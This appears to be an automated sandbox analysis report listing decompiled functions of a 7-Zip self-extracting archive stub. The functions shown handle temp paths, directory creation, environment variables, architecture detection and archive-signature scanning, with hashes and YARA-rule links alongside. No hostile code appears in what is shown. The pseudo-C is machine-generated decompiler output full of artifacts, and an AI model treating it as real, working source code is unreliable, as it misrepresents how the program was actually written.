Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

Part of subcall function 0040420B: wcsncpy.MSVCRT ref: 00404239
Part of subcall function 0040420B: ??3@YAXPAX@Z.MSVCRT ref: 00404244

GetTempPathW.KERNEL32(00000001,00000000,00000002,PreExtract,0041DA3C,?,00000000,?,00405B0D), ref: 004042D7
GetTempPathW.KERNEL32(00000001,00000000,00000001,?,00000000,?,00405B0D), ref: 004042F6
wsprintfW.USER32 ref: 00404318
GetFileAttributesW.KERNELBASE(?,?,?,00405B0D,?,?,?,?,?,?,?,?,?,?,00406FBC,00422844), ref: 0040432A

Strings

PreExtract, xrefs: 004042B9

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: PathTemp$??2@??3@AttributesFilewcsncpywsprintf
String ID: PreExtract
API String ID: 342973707-1883995278
Opcode ID: a6599ca690dd662ebfa5923f67b0ec3bebfb6a87c19678d5d5b6f9956c1d313b
Instruction ID: 23435fb80e171e00c8212a570b1b2e158bd2c4d8a66f38a82b80c7934b06bc9c
Opcode Fuzzy Hash: a6599ca690dd662ebfa5923f67b0ec3bebfb6a87c19678d5d5b6f9956c1d313b
Instruction Fuzzy Hash: 6E0126B03006185BC224AB6A9C49D2EF79DFFC4748B01447EF116D72E2CF7968068668

Uniqueness

Uniqueness Score: -1.00%

Function 00407370, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00407370(void* __ecx, void* __edx) {
				intOrPtr _v16;
				void* _t10;
				signed int _t12;
				void* _t15;
				void* _t30;

				_t30 = __ecx;
				if( *((intOrPtr*)(__ecx + 8)) == 0) {
					__eflags =  *0x422774 & 0x00000080;
					if(__eflags == 0) {
						_t28 = L"7ZipSfx.%03x";
						_t10 = E004042B5(L"7ZipSfx.%03x", __eflags);
						_t6 = _t30 + 4; // 0x42286c
						E004148C7(_t6, _t10);
						_push(_v16);
						L0041C160();
						_t8 = _t30 + 4; // 0x4658ff8, executed
						_t12 = E0040468A( *_t8, L"7ZipSfx.%03x"); // executed
						__eflags = _t12;
						if(_t12 != 0) {
							E00407370(_t30, _t28);
							_t9 = _t30 + 4; // 0x4658ff8
							E00404F69(L"SfxVarApiPath",  *_t9, __eflags, 0);
							_t15 = E00407489();
						} else {
							_t15 = 0;
						}
						return _t15;
					}
					_t4 = _t30 + 4; // 0x42286c
					E004148C7(_t4, 0x422794);
				}
				return 1;
			}

APIs

Part of subcall function 004042B5: GetTempPathW.KERNEL32(00000001,00000000,00000002,PreExtract,0041DA3C,?,00000000,?,00405B0D), ref: 004042D7
Part of subcall function 004042B5: GetTempPathW.KERNEL32(00000001,00000000,00000001,?,00000000,?,00405B0D), ref: 004042F6
Part of subcall function 004042B5: wsprintfW.USER32 ref: 00404318
Part of subcall function 004042B5: GetFileAttributesW.KERNELBASE(?,?,?,00405B0D,?,?,?,?,?,?,?,?,?,?,00406FBC,00422844), ref: 0040432A

Part of subcall function 004148C7: ??2@YAPAXI@Z.MSVCRT ref: 004148EF
Part of subcall function 004148C7: ??3@YAXPAX@Z.MSVCRT ref: 004148F8
Part of subcall function 004148C7: memcpy.MSVCRT ref: 00414912

??3@YAXPAX@Z.MSVCRT ref: 004073B5

Part of subcall function 0040468A: lstrlenW.KERNEL32(?,0042289C,XhV,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 00404699
Part of subcall function 0040468A: GetSystemTimeAsFileTime.KERNEL32(00402D14,00000000,?,?,0042289C,XhV,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 00404705
Part of subcall function 0040468A: GetFileAttributesW.KERNELBASE(00000000,?,?,0042289C,XhV,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 0040470C
Part of subcall function 0040468A: ??3@YAXPAX@Z.MSVCRT ref: 004047BE

Strings

SfxVarApiPath, xrefs: 004073D7
PreExtract, xrefs: 00407376
7ZipSfx.%03x, xrefs: 0040739C

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@File$AttributesPathTempTime$??2@Systemlstrlenmemcpywsprintf
String ID: 7ZipSfx.%03x$PreExtract$SfxVarApiPath
API String ID: 1986220984-914423340
Opcode ID: cdb3f7bb5ac2d12320311beab728f6828f1d1e75d340e5aaf093e49a1a50412a
Instruction ID: 4fe307b9cc81ca859ba38963731d71e1e657172fdbf814944284d27904e1fcdc
Opcode Fuzzy Hash: cdb3f7bb5ac2d12320311beab728f6828f1d1e75d340e5aaf093e49a1a50412a
Instruction Fuzzy Hash: 30F08671A0C60266D6047726D952AFEB3556BC1704F10423FED11761D1DB7CB846E68F

Uniqueness

Uniqueness Score: -1.00%

Function 00403092, Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00403092(WCHAR* __ecx) {
				int _t2;
				long _t5;
				signed char _t6;
				WCHAR* _t9;

				_t9 = __ecx;
				_t2 = CreateDirectoryW(__ecx, 0); // executed
				if(_t2 != 0) {
					L7:
					return 1;
				}
				_t5 = GetLastError();
				if(_t5 == 0xb7) {
					_t6 = GetFileAttributesW(_t9); // executed
					if(_t6 == 0xffffffff || (_t6 & 0x00000010) != 0) {
						goto L7;
					} else {
						_push(0xb7);
						L3:
						SetLastError();
						return 0;
					}
				}
				_push(_t5);
				goto L3;
			}

APIs

CreateDirectoryW.KERNELBASE(00000000,00000000,00000000,-00000001,004046FD,00000000,?,?,0042289C,XhV,00000000,?,?,?,00402D14,PreExtract), ref: 00403099
GetLastError.KERNEL32(?,?,0042289C,XhV,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 004030A3
SetLastError.KERNEL32(000000B7,?,?,0042289C,XhV,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 004030B3
GetFileAttributesW.KERNELBASE(00000000,?,?,0042289C,XhV,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 004030BE

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$AttributesCreateDirectoryFile
String ID:
API String ID: 635176117-0
Opcode ID: c5cc671423ab482ec682e2615689a590c7d79424ef60dffe5937396f84b5532a
Instruction ID: a770e4f8708b8688440dc55708b068f6f30b91d097a371ede7b7596a26aef620
Opcode Fuzzy Hash: c5cc671423ab482ec682e2615689a590c7d79424ef60dffe5937396f84b5532a
Instruction Fuzzy Hash: 65E0DF70B421106BE6201F34AC0CBBB3EAC9F86723F200572F406F02E8D738A902416E

Uniqueness

Uniqueness Score: -1.00%

Function 004022F7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E004022F7(intOrPtr __ecx, intOrPtr __edx, signed short* _a4, intOrPtr* _a8, signed int _a12) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				char _v40;
				signed int _t34;
				signed short* _t55;
				intOrPtr* _t58;

				_v8 = _v8 & 0x00000000;
				_v12 = __ecx;
				_v16 = __edx;
				E00414803( &_v28, __ecx);
				_t55 = _a4;
				E00401585( &_v28,  *_t55 & 0x0000ffff);
				_t58 = _a8;
				L1:
				while(E00404F59() == 0) {
					_t55 =  &(_t55[1]);
					_t34 =  *_t55 & 0x0000ffff;
					if(_t34 >= 0x30 && _t34 <= 0x39) {
						L8:
						E00414864( &_v28, _v12);
						E00401585( &_v28,  *_t55 & 0x0000ffff);
						_v8 = _v8 & 0x00000000;
						continue;
					}
					if(_t34 >= 0x61 && _t34 <= 0x7a) {
						goto L8;
					}
					if(_t34 >= 0x41 && _t34 <= 0x5a) {
						goto L8;
					}
					_push(_v28);
					L0041C160();
					return 1;
				}
				E00414803( &_v40, _t30);
				E00402008( &_v40, _v16, 0, _t58, _a12); // executed
				_push(_v40);
				L0041C160();
				 *(_t58 + 4) =  *(_t58 + 4) & 0x00000000;
				 *((short*)( *_t58)) = 0;
				_v8 = _v8 + 1;
				_a12 = 0x41da3c;
				goto L1;
			}

APIs

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

??3@YAXPAX@Z.MSVCRT ref: 00402391
??3@YAXPAX@Z.MSVCRT ref: 004023B4

Strings

PreExtract, xrefs: 00402302

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$memcpy
String ID: PreExtract
API String ID: 750647942-1883995278
Opcode ID: d6bf578f725f543e13e022a32d8de841b5d315580b01ea1004b035677edb59a7
Instruction ID: a2b2535204d0bd1d40afa8a24637eeedcdabe34f3f30c0d4779eef0099d19ea4
Opcode Fuzzy Hash: d6bf578f725f543e13e022a32d8de841b5d315580b01ea1004b035677edb59a7
Instruction Fuzzy Hash: A7216071810109EBCF18EFA1C986AEEB775EF55714F20446BE901B21D0EB789A85CA98

Uniqueness

Uniqueness Score: -1.00%

Function 00405D92, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00405D92() {
				WCHAR* _v16;
				int _t9;
				intOrPtr _t10;
				intOrPtr _t15;
				signed int _t20;
				void* _t21;
				void* _t22;

				_t20 = 0;
				_t21 =  *0x42278c - _t20; // 0xa1
				if(_t21 > 0) {
					do {
						_t10 =  *0x422788; // 0x46581f8
						E00414839( &_v16,  *((intOrPtr*)(_t10 + _t20 * 4)) + 0xc);
						E00405546( &_v16, _t21);
						_t15 =  *0x422788; // 0x46581f8
						_t9 = SetEnvironmentVariableW( *( *(_t15 + _t20 * 4)), _v16); // executed
						_push(_v16);
						L0041C160();
						_t20 = _t20 + 1;
						_t22 = _t20 -  *0x42278c; // 0xa1
					} while (_t22 < 0);
				}
				return _t9;
			}

0x00405d99
0x00405d9b
0x00405da1
0x00405da3
0x00405da3
0x00405db2
0x00405dba
0x00405dbf
0x00405dcc
0x00405dd2
0x00405dd5
0x00405dda
0x00405ddc
0x00405ddc
0x00405da3
0x00405de6

APIs

Part of subcall function 00414839: memcpy.MSVCRT ref: 00414855

SetEnvironmentVariableW.KERNELBASE(0056D650,00000000,0056D644,SetEnvironment,00000000,?,00000000), ref: 00405DCC
??3@YAXPAX@Z.MSVCRT ref: 00405DD5

Strings

SetEnvironment, xrefs: 00405D98

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@EnvironmentVariablememcpy
String ID: SetEnvironment
API String ID: 357128876-360490078
Opcode ID: c17486e3fa2c4f370ea57e6df63e83d7149b6fdd75b425cded03b3b157d7eda1
Instruction ID: 2e0a3868ca799af050514896d9321bb707874ea1176aa78625a46d01673c73f0
Opcode Fuzzy Hash: c17486e3fa2c4f370ea57e6df63e83d7149b6fdd75b425cded03b3b157d7eda1
Instruction Fuzzy Hash: F0F05831A04028BFCB10AB98ED4188EB7B4EF44304B80807AE411A7162DB70E942DF8A

Uniqueness

Uniqueness Score: -1.00%

Function 00403ECA, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00403ECA() {
				signed short _v40;
				_Unknown_base(*)()* _t3;

				_t3 = GetProcAddress( *0x42275c, "GetNativeSystemInfo");
				if(_t3 == 0) {
					return 0;
				} else {
					 *_t3( &_v40); // executed
					return _v40 & 0x0000ffff;
				}
			}

0x00403edb
0x00403ee3
0x00403ef4
0x00403ee5
0x00403ee9
0x00403ef0
0x00403ef0

APIs

GetProcAddress.KERNEL32(GetNativeSystemInfo), ref: 00403EDB
GetNativeSystemInfo.KERNELBASE(?,?,?,00403EFA,004060E6,00000001,00000001,00000000,?,00000000), ref: 00403EE9

Strings

GetNativeSystemInfo, xrefs: 00403ED0

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressInfoNativeProcSystem
String ID: GetNativeSystemInfo
API String ID: 2220751540-3949249589
Opcode ID: e22f0686ebb65b25f7cdc175e6ec18776ede25488796abf719b58fa9f8d677af
Instruction ID: 1a34752c2e7cb131041ffb1cf8b4a571675c73488951d52ca8f01a361a8aad4f
Opcode Fuzzy Hash: e22f0686ebb65b25f7cdc175e6ec18776ede25488796abf719b58fa9f8d677af
Instruction Fuzzy Hash: D4D0A7607042096ACB14DF71BD029DA77F896486487100174F802F00D0EAB9DD41D3A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041AE02, Relevance: 4.7, APIs: 3, Instructions: 220
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E0041AE02(signed int __ecx, signed int _a4, char _a8, short _a12, signed int _a16, intOrPtr _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v32;
				void* __edi;
				void* __ebp;
				signed int _t108;
				signed int _t109;
				signed int _t120;
				intOrPtr* _t123;
				void* _t124;
				signed int _t125;
				signed int _t127;
				void* _t128;
				void* _t130;
				signed int _t134;
				void* _t138;
				void* _t141;
				signed int _t150;
				void* _t159;
				signed int _t176;
				signed int _t177;
				signed int _t179;
				signed int _t181;
				signed int _t182;
				signed int _t185;
				void* _t187;

				_t181 = _a4;
				_t182 = __ecx;
				E00418567(_t181);
				 *((intOrPtr*)(_t181 + 0xe8)) =  *((intOrPtr*)(__ecx + 0x40));
				 *((intOrPtr*)(_t181 + 0xec)) =  *((intOrPtr*)(__ecx + 0x44));
				 *((char*)(_t181 + 0xe0)) =  *((intOrPtr*)(__ecx + 0x56));
				_t150 = 0;
				 *((char*)(_t181 + 0xe1)) =  *((intOrPtr*)(__ecx + 0x57));
				if( *((intOrPtr*)(_t181 + 0xe0)) != 0) {
					L16:
					_t108 = 0;
					__eflags = 0;
					L17:
					_t109 = _t108 + 1;
					__eflags = _t109;
					return _t109;
				}
				_t176 =  *(__ecx + 0x5c);
				_v20 =  *((intOrPtr*)(__ecx + 0x60));
				_v12 =  *((intOrPtr*)(__ecx + 0x64));
				_v8 =  *((intOrPtr*)(__ecx + 0x68));
				_a4 =  *((intOrPtr*)(__ecx + 0x6c));
				asm("adc ecx, ebx");
				_v24 = _t176;
				 *((intOrPtr*)(_t181 + 0xf0)) =  *((intOrPtr*)(__ecx + 0x40)) + 0x20;
				 *((intOrPtr*)(_t181 + 0xf4)) =  *((intOrPtr*)(__ecx + 0x44));
				 *((intOrPtr*)(_t181 + 0x128)) = 0x20;
				 *((intOrPtr*)(_t181 + 0x12c)) = 0;
				 *((char*)(_t181 + 0x130)) = 0;
				_t185 = _v20;
				if(_t185 < 0 || _t185 <= 0 && _t176 < 0) {
					goto L16;
				} else {
					_t187 = _v8 - 0x40000000;
					if(_t187 > 0 || _t187 >= 0 && _v12 > _t150) {
						goto L16;
					} else {
						_t108 = _v12 | _v8;
						if(_t108 != 0) {
							__eflags =  *((intOrPtr*)(_t181 + 0x134)) - _t150;
							if( *((intOrPtr*)(_t181 + 0x134)) == _t150) {
								 *((char*)(_t181 + 0x130)) = 1;
							}
							asm("adc ecx, ebx");
							 *((intOrPtr*)(_t182 + 0x70)) =  *((intOrPtr*)(_t182 + 0x70)) + _v12 + 0x20;
							asm("adc [esi+0x74], ecx");
							_t120 = _v12 + _t176;
							_t177 = _v8;
							asm("adc edx, [ebp-0x10]");
							_v32 = _t120;
							asm("adc ecx, ebx");
							 *((intOrPtr*)(_t181 + 0x128)) = _t120 + 0x20;
							 *((intOrPtr*)(_t181 + 0x12c)) = _t177;
							_t159 =  *((intOrPtr*)(_t182 + 0x48)) -  *((intOrPtr*)(_t181 + 0xf0));
							asm("sbb eax, [edi+0xf4]");
							__eflags =  *((intOrPtr*)(_t182 + 0x4c)) - _t177;
							if(__eflags > 0) {
								L19:
								_t123 =  *_t182;
								_t124 =  *((intOrPtr*)( *_t123 + 0x10))(_t123, _v24, _v20, 1, _t150);
								__eflags = _t124 - _t150;
								if(_t124 != _t150) {
									return _t124;
								}
								_t125 = _v12;
								__eflags = _t125 - _t125;
								if(_t125 != _t125) {
									L22:
									return 0x8007000e;
								}
								__eflags = _t150 - _v8;
								if(_t150 == _v8) {
									_push(_v12);
									L0041C16C();
									_v32 = _t125;
									_t127 = E0041670E(_v12); // executed
									__eflags = _t127 - _t150;
									if(_t127 == _t150) {
										_t179 = _v12;
										_t163 = _v32;
										_t128 = E0041BCE0(_v32, _t179);
										__eflags = _t128 - _a4;
										if(_t128 == _a4) {
											L28:
											__eflags =  *((intOrPtr*)(_t181 + 0x134)) - _t150;
											if( *((intOrPtr*)(_t181 + 0x134)) == _t150) {
												 *((char*)(_t181 + 0x131)) = 1;
											}
											_push(_t150);
											_v20 = _t150;
											E004192D4( &_v24, _t182, _v32, _v12);
											_t163 =  *((intOrPtr*)(_t182 + 0x38));
											_v16 = _t150;
											_v12 = _t150;
											_v8 = _t150;
											_t130 = E00418FB1( *((intOrPtr*)(_t182 + 0x38)));
											__eflags = _t130 - 1;
											if(_t130 != 1) {
												L32:
												__eflags = _t130 - 0x17;
												if(_t130 != 0x17) {
													goto L27;
												}
												__eflags = _t179 - _t150;
												if(__eflags != 0) {
													goto L27;
												}
												_push(_a20);
												_push(_a16);
												_t163 = _t182;
												_push(_a12);
												_t134 = E0041A63E(_t182, _t179, __eflags,  *((intOrPtr*)(_t181 + 0xf0)),  *((intOrPtr*)(_t181 + 0xf4)), _t181 + 0x100,  &_v16, _a8);
												_a4 = _t134;
												__eflags = _t134 - _t150;
												if(_t134 == _t150) {
													__eflags = _v12 - _t150;
													if(_v12 != _t150) {
														__eflags = _v12 - 1;
														if(_v12 > 1) {
															goto L27;
														}
														E00418E1D( &_v24);
														E004192FE(_t182,  *_v16);
														_t163 =  *((intOrPtr*)(_t182 + 0x38));
														_t138 = E00418FB1( *((intOrPtr*)(_t182 + 0x38)));
														__eflags = _t138 - 1;
														if(_t138 != 1) {
															goto L27;
														}
														__eflags = _t179 - _t150;
														if(_t179 != _t150) {
															goto L27;
														}
														L41:
														 *((char*)(_t181 + 0x130)) = 1;
														 *((intOrPtr*)(_t181 + 0x120)) =  *((intOrPtr*)(_t182 + 0x70));
														 *((intOrPtr*)(_t181 + 0x124)) =  *((intOrPtr*)(_t182 + 0x74));
														_t141 = E0041A836(_t182, _t179, _t181, _a8, _a12, _a16, _a20);
														E0041969C( &_v16);
														E00418E1D( &_v24);
														_push(_v32);
														L0041C160();
														return _t141;
													}
													E0041969C( &_v16);
													E00418E1D( &_v24);
													L25:
													_push(_v32);
													L0041C160();
													return _t150;
												}
												E0041969C( &_v16);
												E00418E1D( &_v24);
												_t150 = _a4;
												goto L25;
											}
											__eflags = _t179 - _t150;
											if(_t179 == _t150) {
												goto L41;
											}
											goto L32;
										}
										L27:
										E00418DE4(_t163, _t181);
										goto L28;
									}
									_t150 = _t127;
									goto L25;
								}
								goto L22;
							} else {
								if(__eflags < 0) {
									L15:
									 *((char*)(_t181 + 0x133)) = 1;
									goto L16;
								}
								__eflags = _t159 - _v32;
								if(_t159 >= _v32) {
									goto L19;
								}
								goto L15;
							}
						}
						if((_t176 | _v20) != 0) {
							goto L17;
						}
						 *((char*)(_t181 + 0x130)) = 1;
						return _t108;
					}
				}
			}

APIs

Part of subcall function 00418567: ??3@YAXPAX@Z.MSVCRT ref: 00418597
Part of subcall function 00418567: ??3@YAXPAX@Z.MSVCRT ref: 004185A8

??2@YAPAXI@Z.MSVCRT ref: 0041AF6B
??3@YAXPAX@Z.MSVCRT ref: 0041AF89
??3@YAXPAX@Z.MSVCRT ref: 0041B0D0

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@
String ID:
API String ID: 4113381792-0
Opcode ID: 14294f3c755af606902697db63c7011c104d95f9aac323c79cc22e6ace76d4ad
Instruction ID: 7441eaed24261cedb068acf738b6ac121ac43d6cfe962bcb2839a80aef5be465
Opcode Fuzzy Hash: 14294f3c755af606902697db63c7011c104d95f9aac323c79cc22e6ace76d4ad
Instruction Fuzzy Hash: 4C918C70A01606AFCF25DFA4C590AEEFBB1BF08304F10452EE45593311D779AAA1CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00419328, Relevance: 4.6, APIs: 3, Instructions: 150
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00419328(void* __ecx, void* __eflags, intOrPtr* _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				void* __esi;
				signed int _t44;
				void* _t46;
				intOrPtr* _t48;
				signed int _t49;
				void* _t50;
				signed int _t53;
				signed int _t54;
				void* _t56;
				intOrPtr* _t58;
				void* _t60;
				signed int _t64;
				signed int _t66;
				signed int _t69;
				signed int _t73;
				signed int _t81;
				signed int _t84;
				void* _t85;
				void* _t88;
				void* _t98;
				signed int _t101;
				void* _t103;
				signed int _t105;
				void* _t106;
				void* _t107;

				_t60 = __ecx;
				_t98 = __ecx + 0x50;
				_t44 = E0041670E(0x20); // executed
				if(_t44 == 0) {
					if(E00419037(_t98) == 0) {
						_t46 = _a8;
						__eflags = _t46;
						if(_t46 == 0) {
							L7:
							_push(0x8000); // executed
							L0041C16C(); // executed
							_v24 = _v24 & 0x00000000;
							_t7 =  &_v20;
							 *_t7 = _v20 & 0x00000000;
							__eflags =  *_t7;
							_t88 = _t46;
							_v12 = _t88;
							_t64 = 8;
							memcpy(_t88, _t98, _t64 << 2);
							_t107 = _t106 + 0xc;
							while(1) {
								_t66 = _a8;
								_t81 = 0x7fe0;
								__eflags = _t66;
								if(_t66 == 0) {
									goto L13;
								}
								_t53 =  *_t66 - _v24;
								asm("sbb ecx, [ebp-0x10]");
								__eflags =  *(_t66 + 4);
								if(__eflags > 0) {
									goto L13;
								} else {
									if(__eflags < 0) {
										L12:
										_t81 = _t53;
										__eflags = _t53;
										if(_t53 == 0) {
											L30:
											_t101 = 1;
											__eflags = 1;
										} else {
											goto L13;
										}
									} else {
										__eflags = _t53 - 0x7fe0;
										if(_t53 >= 0x7fe0) {
											goto L13;
										} else {
											goto L12;
										}
									}
								}
								L31:
								_push(_v12);
								L0041C160();
								_t44 = _t101;
								goto L3;
								L13:
								_t48 = _a4;
								_v8 = _v8 & 0x00000000;
								_t49 =  *((intOrPtr*)( *_t48 + 0xc))(_t48, _v12 + 0x20, _t81,  &_v8);
								__eflags = _t49;
								if(_t49 != 0) {
									L33:
									_t101 = _t49;
								} else {
									_t69 = _v8;
									__eflags = _t69;
									if(_t69 == 0) {
										goto L30;
									} else {
										_t84 = 0;
										__eflags = 0;
										while(1) {
											_t50 = _v12;
											_t103 = _t50 + _t84 + 1;
											_t85 = _t50 + _t69;
											__eflags = _t103 - _t85;
											if(_t103 > _t85) {
												break;
											} else {
												goto L17;
											}
											while(1) {
												L17:
												__eflags =  *_t103 - 0x37;
												if( *_t103 == 0x37) {
													break;
												}
												__eflags =  *(_t103 + 1) - 0x37;
												if( *(_t103 + 1) == 0x37) {
													_t103 = _t103 + 1;
												} else {
													__eflags =  *(_t103 + 2) - 0x37;
													if( *(_t103 + 2) == 0x37) {
														_t103 = _t103 + 2;
													} else {
														__eflags =  *(_t103 + 3) - 0x37;
														if( *(_t103 + 3) == 0x37) {
															_t103 = _t103 + 3;
															__eflags = _t103;
														} else {
															_t103 = _t103 + 4;
															__eflags = _t103 - _t85;
															if(_t103 <= _t85) {
																continue;
															} else {
															}
														}
													}
												}
												break;
											}
											__eflags = _t103 - _t85;
											if(_t103 > _t85) {
												break;
											} else {
												_v16 = _t103 - _t50;
												_t54 = E00419037(_t103);
												__eflags = _t54;
												if(_t54 != 0) {
													_t73 = 8;
													_t56 = memcpy(_t60 + 0x50, _t103, _t73 << 2);
													asm("adc ecx, [ebp-0x10]");
													 *((intOrPtr*)(_t60 + 0x40)) =  *((intOrPtr*)(_t60 + 0x40)) + _t56 + _v24;
													_t58 = _a4;
													asm("adc [ebx+0x44], ecx");
													_t105 =  *((intOrPtr*)(_t60 + 0x40)) + 0x20;
													__eflags = _t105;
													asm("adc edi, ecx");
													_t49 =  *((intOrPtr*)( *_t58 + 0x10))(_t58, _t105,  *((intOrPtr*)(_t60 + 0x44)), 0, 0);
													goto L33;
												} else {
													_t69 = _v8;
													_t84 = _v16;
													continue;
												}
											}
											goto L31;
										}
										_v24 = _v24 + _t69;
										asm("adc dword [ebp-0x10], 0x0");
										memmove(_t50, _t50 + _t69, 0x20);
										_t107 = _t107 + 0xc;
										continue;
									}
								}
								goto L31;
							}
						} else {
							__eflags =  *_t46 |  *(_t46 + 4);
							if(( *_t46 |  *(_t46 + 4)) != 0) {
								goto L7;
							} else {
								_t44 = 1;
							}
						}
					} else {
						_t44 = 0;
					}
				}
				L3:
				return _t44;
			}

APIs

??2@YAPAXI@Z.MSVCRT ref: 0041936F
memmove.MSVCRT ref: 00419440
??3@YAXPAX@Z.MSVCRT ref: 00419454

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@memmove
String ID:
API String ID: 3828600508-0
Opcode ID: 8d053accfe509be5929954659669d5975b446d1ab699fc877be82360f8aa2e9f
Instruction ID: e12da01f2eb493b1a38a8d6fc4e21457148e6801041be196bfadcbe32c4ccdd3
Opcode Fuzzy Hash: 8d053accfe509be5929954659669d5975b446d1ab699fc877be82360f8aa2e9f
Instruction Fuzzy Hash: A051D471E04115ABEF28CA54C864AEF77B5AF49304F14806EDC1AA7381D779ED82C798

Uniqueness

Uniqueness Score: -1.00%

Function 00404D7F, Relevance: 4.6, APIs: 3, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00404D7F(intOrPtr __ecx, intOrPtr* __edx, void* __eflags) {
				intOrPtr _v8;
				char* _v12;
				char* _v16;
				char* _v20;
				char _v32;
				char _v44;
				char _v56;
				void* _t46;
				void* _t54;
				char** _t61;
				void* _t67;
				char** _t74;
				void* _t79;
				char* _t102;
				char* _t105;
				intOrPtr* _t107;
				char** _t108;
				char** _t109;

				_t107 = __edx;
				_v8 = __ecx;
				_t46 = E00403ECA(); // executed
				if(_t46 == 0) {
					_v20 = "x86";
					_v16 = "i386";
					goto L5;
				} else {
					_t114 = _t46 - 9;
					if(_t46 == 9) {
						_v20 = "x64";
						_v16 = "amd64";
						L5:
						_v12 = 0;
					} else {
						_v20 = 0;
					}
				}
				E004143C2(E004143C2(E004143C2(_t46,  &_v56),  &_v44),  &_v32);
				_t79 = 0;
				E00403F60(0, 0,  &_v56,  &_v44);
				_t54 = E004030D6(_v8, _v56, _t114, _v44,  &_v32); // executed
				if(_t54 != 0) {
					_t79 = 1;
				}
				E0041447C(_t107,  &_v32);
				_t102 = _v20;
				_t108 =  &_v20;
				while(1) {
					_push( &_v44);
					_push( &_v56);
					_t117 = _t102;
					if(_t102 == 0) {
						break;
					}
					E00403F60(0, _t102);
